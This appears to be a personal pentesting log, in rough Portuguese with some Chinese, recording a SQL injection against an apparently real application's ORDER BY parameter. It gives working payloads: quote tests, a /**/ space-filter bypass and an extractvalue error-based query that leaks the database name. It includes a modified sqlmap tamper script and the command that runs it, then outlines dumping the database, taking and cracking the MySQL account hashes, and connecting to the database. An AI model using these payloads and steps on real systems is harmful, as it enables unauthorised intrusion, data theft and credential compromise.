O seguinte é do projeto de hoje, basta gravá-lo
injeção manual
Adicionar erro sql de aspas simples
A instrução sql é a seguinte, pode-se observar que o parâmetro id originalmente não estava colocado entre aspas
SELECT DISTINCT u.* FROM t_user u WHERE u.name like '%1%' and u.account like '%1%' and u.state = ? order by id' desc limit 0,20
Depois de muitas tentativas, o uso do sqlmap ainda não conseguiu injetar
Exclua os parâmetros solicitados sem afetar o teste, o teste manual é o seguinte
order=id' 报错
order=id' and 1=1 未报错
order=id'+and+1=1 未报错,按理说多了个单引号就会引发报错,但是这里没有,说明有限制
Tente usar o comentário sql /**/ em vez de um espaço, e um erro será relatado, indicando que a instrução inserida foi trazida com sucesso
order=id'/**/and/**/1=1
Em seguida, continue a construir instruções de consulta, tente usar extractvalue para consulta de erro e obtenha com êxito o nome do banco de dados atual ^ecph_ps^
order=id/**/and/**/extractvalue(1,concat('^',(select/**/database()),'^'))/**/#
Então aqui está a maneira de ignorar, usar /**/ em vez de espaços, escrever instruções de violação, continuar a usar a injeção sqlamp, replaceSpace.py é o seguinte
#!/usr/bin/env python
"""
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
"""
Replaces space character (' ') with plus ('+')
Notes:
* Is this any useful? The plus get's url-encoded by sqlmap engine invalidating the query afterwards
* This tamper script works against all databases
>>> tamper('SELECT id FROM users')
'SELECT+id+FROM+users'
"""
retVal = payload
if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False
for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
#retVal += "+"
retVal += "/**/"
continue
elif payload[i] == '\'':
quote = not quote
elif payload[i] == '"':
doublequote = not doublequote
elif payload[i] == " " and not doublequote and not quote:
#retVal += "+"
retVal += "/**/"
continue
retVal += payload[i]
return retVal
sqlmap.py -r r.txt -v 3 --level 5 --tamper=D:\3-安全工具\漏洞检测与利用\web漏洞\sqlmap\tamper\replaceSpace.py --technique=E
injeção bem sucedida
obter banco de dados
Obtenha o hash da conta mysql
descriptografar
Se a porta do banco de dados estiver aberta, você poderá conectar